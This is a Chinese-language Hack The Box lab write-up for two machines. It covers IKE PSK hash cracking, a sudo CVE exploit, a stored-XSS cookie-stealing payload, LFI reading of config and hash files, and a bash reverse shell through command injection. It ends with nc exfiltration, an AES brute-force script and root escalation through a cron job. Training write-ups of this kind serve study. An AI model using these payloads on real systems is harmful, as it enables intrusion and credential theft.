HTB Season9 week1+wee2 wp
HTB Season9 week1+wee2 wp
Expressway
nmap -A -T4 10.10.11.87
只有22,一般对于这种端口开放很少没有明确入口的,可以尝试扫描Udp端口,或者进行流量监听
nmap -sU 10.10.11.87
开放了udp 500端口

ike-scan -M 10.10.11.87
可以发现AUTH的值为PSK,这意味着VPN是使用预共享密钥配置的
VID=09002689dfd6b712 (XAUTH)和VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)表明实现了XAUTH(扩展认证)和DPD
最后一行的1 returned handshake; 0 returned notify 意味着目标已配置IPsec并愿意执行IKE协商,且您提议的一种或多种转换方案是可接受的(有效转换方案将在输出中显示)
即这是一个 支持 IKE PSK + XAUTH 的 VPN 端点(通常意味着远程登录需要两个因素:PSK + XAUTH 用户/密码)。如果能获取 PSK 或者得到 Aggressive Mode 的 HASH_R,就可以进行离线暴力破解

指纹识别一下
ike-scan -M --showbackoff 10.10.11.87
这里判断出是Linksys Etherfast

使用ike-scan暴力破解ID(用户)
加上-P参数,用于尝试收集hash
ike-scan -P -M -A -n fakeID 10.10.11.87
这是一个使用PSK(预共享密钥)认证的IKEv1 Aggressive Mode 握手,ike-scan已成功把能用于离线破解的参数(也叫HASH_R/PSK参数串)从目标端口抓下来了
且可以通过Value=ike@expressway.htb 可以知道XAUTH的用户ID就是ike

破解hash
将上面得到的密文存入hash.txt
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
获取到了key: freakingrockstarontheroad

有了用户和密码就可以尝试登陆了
ssh ike@10.10.11.87
password: freakingrockstarontheroad

root
翻一下sh文件,可以看到CVE-2025-32463
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
sudo -V 看版本
sudo -R a a 验证漏洞
./sudo.sh


验证漏洞



Imagery
nmap -A -T4 10.10.11.88

扫出22、3000、8000端口
有用的是8000端口
whatweb -v 10.10.11.88:8000
但并没有什么过多的信息,只是告诉我们是python后端

我们先随意注册一个账号
chenz@qq.comi/123456
登陆后,有个文件上传

上传图片后能下载
<div id="no-admin-user-message" class="bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700 p-4 rounded-md mb-6" role="alert" style="display: none;">
<p class="font-bold">No Administrator Found!</p>
<p>It looks like there are no administrator accounts registered yet. The first user to register will automatically become the administrator. Please register an account to gain admin access.</p>
</div>
翻译过来就是首位注册的用户将自动成为管理员。请注册一个账户以获取管理员权限。
可以访问一下/admin/users试试


但发现不是管理员,说明系统已经注册了一个管理员帐号了
XSS

这里能提交你的bug,说明多半管理员会看,就可以尝试打一波XSS
data.bug_reports.forEach(report => {
const reportCard = document.createElement('div');
reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
>>>> ${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
`;
bugReportsList.appendChild(reportCard);
});
可以看到${report.details}没有经过DOMPurify处理,那就存在XSS注入
补充一下,DOMPurify
import DOMPurify from 'dompurify';
// 假设这是用户输入的包含恶意代码的内容
const dirtyHTML = '<img src=x onerror="alert(\'XSS\')"> <p>安全内容</p>';
// 净化处理
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// 净化后结果:<img src="x"> <p>安全内容</p>(危险的onerror被移除)
document.body.innerHTML = cleanHTML;
DOMPurify 被广泛用于需要处理不可信 HTML 内容的场景,比如内容管理系统、论坛、评论区等,是防御 XSS 攻击的重要工具之一。
也就是Bug Details存在XSS注入
构造payload
<img src="x" onerror="this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)">
可以反弹管理员的cookie


可以看到验证成功为admin
将cookie放到浏览器

LFI
然后下载一个log

尝试一下目录穿越读取/etc/passwd(直接/etc/passwd也行)

在/proc/self/cwd/config.py处可以获取到配置文件
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1
ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024
BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('172.0.0.0/12'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'
里面有个db.json
访问/proc/self/cwd/db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "chenzi@qq.com",
"password": "e10adc3949ba59abbe56e057f20f883e",
"displayId": "ebbd90ff",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "mo@lab",
"password": "81dc9bdb52d04dc20036dbd8313ed055",
"displayId": "4fe70b66",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [
{
"id": "6504a6f9-1343-4e85-9735-047681293a59",
"filename": "7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
"url": "/uploads/7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
"title": "hackthebox",
"description": "",
"timestamp": "2025-10-03T13:20:19.303475",
"uploadedBy": "testuser@imagery.htb",
"uploadedByDisplayId": "e5f6g7h8",
"group": "My Images",
"type": "original",
"actual_mimetype": "image/jpeg"
},
{
"id": "75ef6309-49c1-40d2-b6ea-ee08b2774e6a",
"filename": "admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
"url": "/uploads/admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
"title": "Transformed: hackthebox",
"description": "Transformed from hackthebox (crop).",
"timestamp": "2025-10-03T13:20:39.225252",
"uploadedBy": "testuser@imagery.htb",
"uploadedByDisplayId": "e5f6g7h8",
"group": "Transformed",
"type": "transformed",
"original_id": "6504a6f9-1343-4e85-9735-047681293a59",
"actual_mimetype": "image/jpeg"
}
],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
],
"bug_reports": [
{
"id": "a2a08a23-1c41-413c-8a9e-0aea8c85a456",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "ebbd90ff",
"timestamp": "2025-10-03T13:08:40.390515"
},
{
"id": "2952a2f5-79d9-452f-981b-f4a61c45eee8",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "3c71ebe6",
"timestamp": "2025-10-03T13:10:18.270024"
},
{
"id": "6f69eaf7-2e0e-40b9-b171-f5b399ed70b0",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "3c71ebe6",
"timestamp": "2025-10-03T13:10:53.452990"
}
]
}
可以获取到所有网站用户和他们的密码哈希
测试用户可以碰撞出

testuser@imagery.htb/iambatman
去登陆这个用户


抓这个包

可以推断出系统使用的图片编辑工具是 ImageMagick
配置文件中明确定义了 IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert',而 convert 是 ImageMagick 工具集中最核心的命令行工具之一,用于图像格式转换、缩放、裁剪等处理。
可以猜测后端会通过该接口向ImageMagick工具传递4个参数,然后对图片进行操作
"x":"8;bash -c '/bin/bash -i >& /dev/tcp/10.10.16.48/4444 0>&1' #",

pyAesCrypt 解密

靶机:
nc -q 0 10.10.16.48 8888 < web_20250806_120723.zip.aes
攻击机:
nc -lvnp 8888 > backup.zip.aes
将zip上传到kali分析
file backup.zip.aes

import pyAesCrypt
GREEN = "\033[92m" # 亮绿色
RESET = "\033[0m" # 恢复默认颜色
def decrypt(password, AESfile, output):
try:
res = pyAesCrypt.decryptFile(AESfile, output, str(password))
if not res:
return True
except:
return False
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f: # 可修改路径
passwords = [line.decode('latin1').strip() for line in f]
for password in passwords:
res = decrypt(password, "backup.zip.aes", "backup.zip") # 可修改文件名
if res:
print(f"{GREEN}[+]{password}{RESET}")
break
else:
print(f"[-]{password}")

得到了密码bestfriends
然后解压unzip backup.zip
在db.json中找到了mark


mark@imagery.htb/supersmash
然后尝试用su切换用户
su mark
supersmash

升级一下shell
python3 -c 'import os,pty;pty.spawn("bash")'

root

我们尝试使用了一下,发现是个备份工具
sudo /usr/local/bin/charcol -R
sudo /usr/local/bin/charcol shell

charcol> help
help
[2025-10-03 14:41:06] [INFO]
Charcol Shell Commands:
Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp
fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>
Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>
check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>
extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"
auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>
Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell
exit
Purpose: Exit the Charcol shell.
Example:
exit
clear
Purpose: Clear the interactive shell screen.
Example:
clear
help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
sudo /usr/local/bin/charcol shell
auto add --schedule "*/1 * * * *" --command "cp /root/root.txt /tmp/root2.txt && chmod a+r /tmp/root2.txt" --name "hack"
auto list
exit
cat root2.txt



浙公网安备 33010602011771号